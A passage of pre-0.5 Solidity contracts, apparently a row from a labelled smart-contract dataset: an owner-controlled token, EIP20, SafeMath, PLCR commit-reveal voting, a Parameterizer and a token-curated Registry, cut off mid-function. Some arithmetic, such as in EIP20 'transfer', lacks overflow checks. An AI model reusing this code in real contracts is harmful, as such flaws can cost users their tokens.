require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 | 2,854 |
pragma solidity ^0.4.24;
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function EIP20(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract CanCheckERC165 {
bytes4 constant InvalidID = 0xffffffff;
bytes4 constant ERC165ID = 0x01ffc9a7;
function doesContractImplementInterface(address _contract, bytes4 _interfaceId) external view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if ((success==0)||(result==0)) {
return false;
}
(success, result) = noThrowCall(_contract, InvalidID);
if ((success==0)||(result!=0)) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if ((success==1)&&(result==1)) {
return true;
}
return false;
}
function noThrowCall(address _contract, bytes4 _interfaceId) internal view returns (uint256 success, uint256 result) {
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40)
mstore(x, erc165ID)
mstore(add(x, 0x04), _interfaceId)
success := staticcall(
30000,
_contract,
x,
0x20,
x,
0x20)
result := mload(x)
}
}
}
library DLL {
uint constant NULL_NODE_ID = 0;
struct Node {
uint next;
uint prev;
}
struct Data {
mapping(uint => Node) dll;
}
function isEmpty(Data storage self) public view returns (bool) {
return getStart(self) == NULL_NODE_ID;
}
function contains(Data storage self, uint _curr) public view returns (bool) {
if (isEmpty(self) || _curr == NULL_NODE_ID) {
return false;
}
bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr);
bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID);
return isSingleNode || !isNullNode;
}
function getNext(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].next;
}
function getPrev(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].prev;
}
function getStart(Data storage self) public view returns (uint) {
return getNext(self, NULL_NODE_ID);
}
function getEnd(Data storage self) public view returns (uint) {
return getPrev(self, NULL_NODE_ID);
}
function insert(Data storage self, uint _prev, uint _curr, uint _next) public {
require(_curr != NULL_NODE_ID);
remove(self, _curr);
require(_prev == NULL_NODE_ID || contains(self, _prev));
require(_next == NULL_NODE_ID || contains(self, _next));
require(getNext(self, _prev) == _next);
require(getPrev(self, _next) == _prev);
self.dll[_curr].prev = _prev;
self.dll[_curr].next = _next;
self.dll[_prev].next = _curr;
self.dll[_next].prev = _curr;
}
function remove(Data storage self, uint _curr) public {
if (!contains(self, _curr)) {
return;
}
uint next = getNext(self, _curr);
uint prev = getPrev(self, _curr);
self.dll[next].prev = prev;
self.dll[prev].next = next;
delete self.dll[_curr];
}
}
library AttributeStore {
struct Data {
mapping(bytes32 => uint) store;
}
function getAttribute(Data storage self, bytes32 _UUID, string _attrName)
public view returns (uint) {
bytes32 key = keccak256(_UUID, _attrName);
return self.store[key];
}
function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal)
public {
bytes32 key = keccak256(_UUID, _attrName);
self.store[key] = _attrVal;
}
}
contract PLCRVoting {
event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter);
event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter);
event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator);
event _VotingRightsGranted(uint numTokens, address indexed voter);
event _VotingRightsWithdrawn(uint numTokens, address indexed voter);
event _TokensRescued(uint indexed pollID, address indexed voter);
using AttributeStore for AttributeStore.Data;
using DLL for DLL.Data;
using SafeMath for uint;
struct Poll {
uint commitEndDate;
uint revealEndDate;
uint voteQuorum;
uint votesFor;
uint votesAgainst;
mapping(address => bool) didCommit;
mapping(address => bool) didReveal;
}
uint constant public INITIAL_POLL_NONCE = 0;
uint public pollNonce;
mapping(uint => Poll) public pollMap;
mapping(address => uint) public voteTokenBalance;
mapping(address => DLL.Data) dllMap;
AttributeStore.Data store;
EIP20Interface public token;
constructor(address _token) public {
require(_token != 0 && address(token) == 0);
token = EIP20Interface(_token);
pollNonce = INITIAL_POLL_NONCE;
}
function requestVotingRights(uint _numTokens) public {
require(token.balanceOf(msg.sender) >= _numTokens);
voteTokenBalance[msg.sender] += _numTokens;
require(token.transferFrom(msg.sender, this, _numTokens));
emit _VotingRightsGranted(_numTokens, msg.sender);
}
function withdrawVotingRights(uint _numTokens) external {
uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender));
require(availableTokens >= _numTokens);
voteTokenBalance[msg.sender] -= _numTokens;
require(token.transfer(msg.sender, _numTokens));
emit _VotingRightsWithdrawn(_numTokens, msg.sender);
}
function rescueTokens(uint _pollID) public {
require(isExpired(pollMap[_pollID].revealEndDate));
require(dllMap[msg.sender].contains(_pollID));
dllMap[msg.sender].remove(_pollID);
emit _TokensRescued(_pollID, msg.sender);
}
function rescueTokensInMultiplePolls(uint[] _pollIDs) public {
for (uint i = 0; i < _pollIDs.length; i++) {
rescueTokens(_pollIDs[i]);
}
}
function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public {
require(commitPeriodActive(_pollID));
if (voteTokenBalance[msg.sender] < _numTokens) {
uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]);
requestVotingRights(remainder);
}
require(voteTokenBalance[msg.sender] >= _numTokens);
require(_pollID != 0);
require(_secretHash != 0);
require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID));
uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);
if (nextPollID == _pollID) {
nextPollID = dllMap[msg.sender].getNext(_pollID);
}
require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));
dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);
bytes32 UUID = attrUUID(msg.sender, _pollID);
store.setAttribute(UUID, "numTokens", _numTokens);
store.setAttribute(UUID, "commitHash", uint(_secretHash));
pollMap[_pollID].didCommit[msg.sender] = true;
emit _VoteCommitted(_pollID, _numTokens, msg.sender);
}
function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external {
require(_pollIDs.length == _secretHashes.length);
require(_pollIDs.length == _numsTokens.length);
require(_pollIDs.length == _prevPollIDs.length);
for (uint i = 0; i < _pollIDs.length; i++) {
commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]);
}
}
function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {
bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));
bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);
return prevValid && nextValid;
}
function revealVote(uint _pollID, uint _voteOption, uint _salt) public {
require(revealPeriodActive(_pollID));
require(pollMap[_pollID].didCommit[msg.sender]);
require(!pollMap[_pollID].didReveal[msg.sender]);
require(keccak256(abi.encodePacked(_voteOption, _salt)) == getCommitHash(msg.sender, _pollID));
uint numTokens = getNumTokens(msg.sender, _pollID);
if (_voteOption == 1) {
pollMap[_pollID].votesFor += numTokens;
} else {
pollMap[_pollID].votesAgainst += numTokens;
}
dllMap[msg.sender].remove(_pollID);
pollMap[_pollID].didReveal[msg.sender] = true;
emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender);
}
function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external {
require(_pollIDs.length == _voteOptions.length);
require(_pollIDs.length == _salts.length);
for (uint i = 0; i < _pollIDs.length; i++) {
revealVote(_pollIDs[i], _voteOptions[i], _salts[i]);
}
}
function getNumPassingTokens(address _voter, uint _pollID, uint _salt) public constant returns (uint correctVotes) {
require(pollEnded(_pollID));
require(pollMap[_pollID].didReveal[_voter]);
uint winningChoice = isPassed(_pollID) ? 1 : 0;
bytes32 winnerHash = keccak256(abi.encodePacked(winningChoice, _salt));
bytes32 commitHash = getCommitHash(_voter, _pollID);
require(winnerHash == commitHash);
return getNumTokens(_voter, _pollID);
}
function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {
pollNonce = pollNonce + 1;
uint commitEndDate = block.timestamp.add(_commitDuration);
uint revealEndDate = commitEndDate.add(_revealDuration);
pollMap[pollNonce] = Poll({
voteQuorum: _voteQuorum,
commitEndDate: commitEndDate,
revealEndDate: revealEndDate,
votesFor: 0,
votesAgainst: 0
});
emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender);
return pollNonce;
}
function isPassed(uint _pollID) constant public returns (bool passed) {
require(pollEnded(_pollID));
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) {
require(pollEnded(_pollID));
if (isPassed(_pollID))
return pollMap[_pollID].votesFor;
else
return pollMap[_pollID].votesAgainst;
}
function pollEnded(uint _pollID) constant public returns (bool ended) {
require(pollExists(_pollID));
return isExpired(pollMap[_pollID].revealEndDate);
}
function commitPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].commitEndDate);
}
function revealPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID);
}
function didCommit(address _voter, uint _pollID) constant public returns (bool committed) {
require(pollExists(_pollID));
return pollMap[_pollID].didCommit[_voter];
}
function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) {
require(pollExists(_pollID));
return pollMap[_pollID].didReveal[_voter];
}
function pollExists(uint _pollID) constant public returns (bool exists) {
return (_pollID != 0 && _pollID <= pollNonce);
}
function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) {
return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash"));
}
function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) {
return store.getAttribute(attrUUID(_voter, _pollID), "numTokens");
}
function getLastNode(address _voter) constant public returns (uint pollID) {
return dllMap[_voter].getPrev(0);
}
function getLockedTokens(address _voter) constant public returns (uint numTokens) {
return getNumTokens(_voter, getLastNode(_voter));
}
function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID)
constant public returns (uint prevNode) {
uint nodeID = getLastNode(_voter);
uint tokensInNode = getNumTokens(_voter, nodeID);
while(nodeID != 0) {
tokensInNode = getNumTokens(_voter, nodeID);
if(tokensInNode <= _numTokens) {
if(nodeID == _pollID) {
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
function isExpired(uint _terminationDate) constant public returns (bool expired) {
return (block.timestamp > _terminationDate);
}
function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) {
return keccak256(abi.encodePacked(_user, _pollID));
}
}
contract Parameterizer is Ownable, CanCheckERC165 {
event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate);
event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate);
event _ProposalAccepted(bytes32 indexed propID, string name, uint value);
event _ProposalExpired(bytes32 indexed propID);
event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward);
using SafeMath for uint;
struct ParamProposal {
uint appExpiry;
uint challengeID;
uint deposit;
string name;
address owner;
uint processBy;
uint value;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint winningTokens;
mapping(address => bool) tokenClaims;
}
mapping(bytes32 => uint) public params;
mapping(uint => Challenge) public challenges;
mapping(bytes32 => ParamProposal) public proposals;
EIP20Interface public token;
PLCRVoting public voting;
uint public PROCESSBY = 604800;
string constant NEW_REGISTRY = "_newRegistry";
bytes32 constant NEW_REGISTRY_KEC = keccak256(abi.encodePacked(NEW_REGISTRY));
bytes32 constant DISPENSATION_PCT_KEC = keccak256(abi.encodePacked("dispensationPct"));
bytes32 constant P_DISPENSATION_PCT_KEC = keccak256(abi.encodePacked("pDispensationPct"));
bytes4 public REGISTRY_INTERFACE_REQUIREMENT;
constructor(
address _tokenAddr,
address _plcrAddr,
uint _minDeposit,
uint _pMinDeposit,
uint _applyStageLen,
uint _pApplyStageLen,
uint _commitStageLen,
uint _pCommitStageLen,
uint _revealStageLen,
uint _pRevealStageLen,
uint _dispensationPct,
uint _pDispensationPct,
uint _voteQuorum,
uint _pVoteQuorum,
bytes4 _newRegistryIface
) Ownable() public {
token = EIP20Interface(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
REGISTRY_INTERFACE_REQUIREMENT = _newRegistryIface;
set("minDeposit", _minDeposit);
set("pMinDeposit", _pMinDeposit);
set("applyStageLen", _applyStageLen);
set("pApplyStageLen", _pApplyStageLen);
set("commitStageLen", _commitStageLen);
set("pCommitStageLen", _pCommitStageLen);
set("revealStageLen", _revealStageLen);
set("pRevealStageLen", _pRevealStageLen);
set("dispensationPct", _dispensationPct);
set("pDispensationPct", _pDispensationPct);
set("voteQuorum", _voteQuorum);
set("pVoteQuorum", _pVoteQuorum);
}
function proposeReparameterization(string _name, uint _value) public returns (bytes32) {
uint deposit = get("pMinDeposit");
bytes32 propID = keccak256(abi.encodePacked(_name, _value));
bytes32 _nameKec = keccak256(abi.encodePacked(_name));
if (_nameKec == DISPENSATION_PCT_KEC ||
_nameKec == P_DISPENSATION_PCT_KEC) {
require(_value <= 100);
}
if(keccak256(abi.encodePacked(_name)) == NEW_REGISTRY_KEC) {
require(getNewRegistry() == address(0));
require(_value != 0);
require(msg.sender == owner);
require((_value & 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff) == _value);
require(this.doesContractImplementInterface(address(_value), REGISTRY_INTERFACE_REQUIREMENT));
}
require(!propExists(propID));
require(get(_name) != _value);
proposals[propID] = ParamProposal({
appExpiry: now.add(get("pApplyStageLen")),
challengeID: 0,
deposit: deposit,
name: _name,
owner: msg.sender,
processBy: now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY),
value: _value
});
require(token.transferFrom(msg.sender, this, deposit));
emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry);
return propID;
}
function getNewRegistry() public view returns (address) {
return address(params[NEW_REGISTRY_KEC]);
}
function challengeReparameterization(bytes32 _propID) public returns (uint) {
ParamProposal memory prop = proposals[_propID];
uint deposit = prop.deposit;
require(propExists(_propID) && prop.challengeID == 0);
uint pollID = voting.startPoll(
get("pVoteQuorum"),
get("pCommitStageLen"),
get("pRevealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: SafeMath.sub(100, get("pDispensationPct")).mul(deposit).div(100),
stake: deposit,
resolved: false,
winningTokens: 0
});
proposals[_propID].challengeID = pollID;
require(token.transferFrom(msg.sender, this, deposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate);
return pollID;
}
function processProposal(bytes32 _propID) public {
ParamProposal storage prop = proposals[_propID];
address propOwner = prop.owner;
uint propDeposit = prop.deposit;
if (canBeSet(_propID)) {
set(prop.name, prop.value);
emit _ProposalAccepted(_propID, prop.name, prop.value);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else if (challengeCanBeResolved(_propID)) {
resolveChallenge(_propID);
} else if (now > prop.processBy) {
emit _ProposalExpired(_propID);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else {
revert();
}
assert(get("dispensationPct") <= 100);
assert(get("pDispensationPct") <= 100);
now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY);
delete proposals[_propID];
}
function claimReward(uint _challengeID, uint _salt) public {
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
challenges[_challengeID].winningTokens = challenges[_challengeID].winningTokens.sub(voterTokens);
challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward);
challenges[_challengeID].tokenClaims[msg.sender] = true;
emit _RewardClaimed(_challengeID, reward);
require(token.transfer(msg.sender, reward));
}
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint winningTokens = challenges[_challengeID].winningTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return voterTokens.mul(rewardPool).div(winningTokens);
}
function canBeSet(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0);
}
function propExists(bytes32 _propID) view public returns (bool) {
return proposals[_propID].processBy > 0;
}
function challengeCanBeResolved(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
Challenge memory challenge = challenges[prop.challengeID];
return (prop.challengeID > 0 && challenge.resolved == false &&
voting.pollEnded(prop.challengeID));
}
function challengeWinnerReward(uint _challengeID) public view returns (uint) {
if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return challenges[_challengeID].stake.mul(2);
}
return challenges[_challengeID].stake.mul(2).sub(challenges[_challengeID].rewardPool);
}
function get(string _name) public view returns (uint value) {
return params[keccak256(abi.encodePacked(_name))];
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _propID) private {
ParamProposal memory prop = proposals[_propID];
Challenge storage challenge = challenges[prop.challengeID];
uint reward = challengeWinnerReward(prop.challengeID);
challenge.winningTokens =
voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);
challenge.resolved = true;
if (voting.isPassed(prop.challengeID)) {
if(prop.processBy > now) {
set(prop.name, prop.value);
}
emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(prop.owner, reward));
}
else {
emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(challenges[prop.challengeID].challenger, reward));
}
}
function set(string _name, uint _value) private {
params[keccak256(abi.encodePacked(_name))] = _value;
}
}
contract SupercedesRegistry is ERC165 {
function canReceiveListing(bytes32 listingHash, uint applicationExpiry, bool whitelisted, address owner, uint unstakedDeposit, uint challengeID) external view returns (bool);
function receiveListing(bytes32 listingHash, uint applicationExpiry, bool whitelisted, address owner, uint unstakedDeposit, uint challengeID) external;
function getSupercedesRegistryInterfaceID() public pure returns (bytes4) {
SupercedesRegistry i;
return i.canReceiveListing.selector ^ i.receiveListing.selector;
}
}
contract Registry {
event _Application(bytes32 indexed listingHash, uint deposit, uint appEndDate, string data);
event _Challenge(bytes32 indexed listingHash, uint challengeID, uint deposit, string data);
event _Deposit(bytes32 indexed listingHash, uint added, uint newTotal);
event _Withdrawal(bytes32 indexed listingHash, uint withdrew, uint newTotal);
event _ApplicationWhitelisted(bytes32 indexed listingHash);
event _ApplicationRemoved(bytes32 indexed listingHash);
event _ListingRemoved(bytes32 indexed listingHash);
event _ListingWithdrawn(bytes32 indexed listingHash);
event _TouchAndRemoved(bytes32 indexed listingHash);
event _ChallengeFailed(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeSucceeded(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address voter);
event _ListingMigrated(bytes32 indexed listingHash, address newRegistry);
using SafeMath for uint;
struct Listing {
uint applicationExpiry;
bool whitelisted;
address owner;
uint unstakedDeposit;
uint challengeID;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint totalTokens;
mapping(address => bool) tokenClaims;
}
mapping(uint => Challenge) public challenges;
mapping(bytes32 => Listing) public listings;
mapping(address => uint) public numApplications;
mapping(address => uint) public totalStaked;
EIP20Interface public token;
PLCRVoting public voting;
Parameterizer public parameterizer;
string public constant version = "1";
constructor(
address _tokenAddr,
address _plcrAddr,
address _paramsAddr
) public {
token = EIP20Interface(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
parameterizer = Parameterizer(_paramsAddr);
}
function apply(bytes32 _listingHash, uint _amount, string _data) onlyIfCurrentRegistry external {
require(!isWhitelisted(_listingHash));
require(!appWasMade(_listingHash));
require(_amount >= parameterizer.get("minDeposit"));
Listing storage listing = listings[_listingHash];
listing.owner = msg.sender;
listing.applicationExpiry = block.timestamp.add(parameterizer.get("applyStageLen"));
listing.unstakedDeposit = _amount;
numApplications[listing.owner] = numApplications[listing.owner].add(1);
totalStaked[listing.owner] = totalStaked[listing.owner].add(_amount);
require(token.transferFrom(listing.owner, this, _amount));
emit _Application(_listingHash, _amount, listing.applicationExpiry, _data);
}
function deposit(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
listing.unstakedDeposit = listing.unstakedDeposit.add(_amount);
totalStaked[listing.owner] = totalStaked[listing.owner].add(_amount);
require(token.transferFrom(msg.sender, this, _amount));
emit _Deposit(_listingHash, _amount, listing.unstakedDeposit);
}
function withdraw(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
require(_amount <= listing.unstakedDeposit);
require(listing.unstakedDeposit.sub(_amount) >= parameterizer.get("minDeposit"));
listing.unstakedDeposit = listing.unstakedDeposit.sub(_amount);
require(token.transfer(msg.sender, _amount));
emit _Withdrawal(_listingHash, _amount, listing.unstakedDeposit);
}
function exit(bytes32 _listingHash) external {
Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
resetListing(_listingHash);
emit _ListingWithdrawn(_listingHash);
}
function challenge(bytes32 _listingHash, uint _deposit, string _data) onlyIfCurrentRegistry external returns (uint challengeID) {
Listing storage listing = listings[_listingHash];
uint minDeposit = parameterizer.get("minDeposit");
require(appWasMade(_listingHash) || listing.whitelisted);
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
if (listing.unstakedDeposit < minDeposit) {
resetListing(_listingHash);
emit _TouchAndRemoved(_listingHash);
return 0;
}
uint pollID = voting.startPoll(
parameterizer.get("voteQuorum"),
parameterizer.get("commitStageLen"),
parameterizer.get("revealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((100 - parameterizer.get("dispensationPct")) * _deposit) / 100,
stake: _deposit,
resolved: false,
totalTokens: 0
});
listing.challengeID = pollID;
require(_deposit >= minDeposit && _deposit <= listing.unstakedDeposit);
listing.unstakedDeposit = listing.unstakedDeposit.sub(_deposit);
require(token.transferFrom(msg.sender, this, _deposit));
emit _Challenge(_listingHash, pollID, _deposit, _data);
return pollID;
}
function updateStatus(bytes32 _listingHash) public {
if (canBeWhitelisted(_listingHash)) {
whitelistApplication(_listingHash);
} else if (challengeCanBeResolved(_listingHash)) {
resolveChallenge(_listingHash);
} else {
revert();
}
}
function claimReward(uint _challengeID, uint _salt) public {
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
challenges[_challengeID].totalTokens = challenges[_challengeID].totalTokens.sub(voterTokens);
challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward);
challenges[_challengeID].tokenClaims[msg.sender] = true;
require(token.transfer(msg.sender, reward));
emit _RewardClaimed(_challengeID, reward, msg.sender);
}
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint totalTokens = challenges[_challengeID].totalTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return (voterTokens * rewardPool) / totalTokens;
}
function canBeWhitelisted(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
if (
appWasMade(_listingHash) &&
listings[_listingHash].applicationExpiry < now &&
!isWhitelisted(_listingHash) &&
(challengeID == 0 || challenges[challengeID].resolved == true)
) {
return true;
}
return false;
}
function isWhitelisted(bytes32 _listingHash) view public returns (bool whitelisted) {
return listings[_listingHash].whitelisted;
}
function appWasMade(bytes32 _listingHash) view public returns (bool exists) {
return listings[_listingHash].applicationExpiry > 0;
}
function challengeExists(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
return (challengeID > 0 && !challenges[challengeID].resolved);
}
function challengeCanBeResolved(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
require(challengeExists(_listingHash));
return voting.pollEnded(challengeID);
}
function determineReward(uint _challengeID) public view returns (uint) {
require(!challenges[_challengeID].resolved && voting.pollEnded(_challengeID));
if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return challenges[_challengeID].stake.mul(2);
}
return (challenges[_challengeID].stake).mul(2).sub(challenges[_challengeID].rewardPool);
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _listingHash) private {
uint challengeID = listings[_listingHash].challengeID;
uint reward = determineReward(challengeID);
challenges[challengeID].resolved = true;
challenges[challengeID].totalTokens =
voting.getTotalNumberOfTokensForWinningOption(challengeID);
if (voting.isPassed(challengeID)) {
whitelistApplication(_listingHash);
listings[_listingHash].unstakedDeposit = listings[_listingHash].unstakedDeposit.add(reward);
totalStaked[listings[_listingHash].owner] = totalStaked[listings[_listingHash].owner].add(reward);
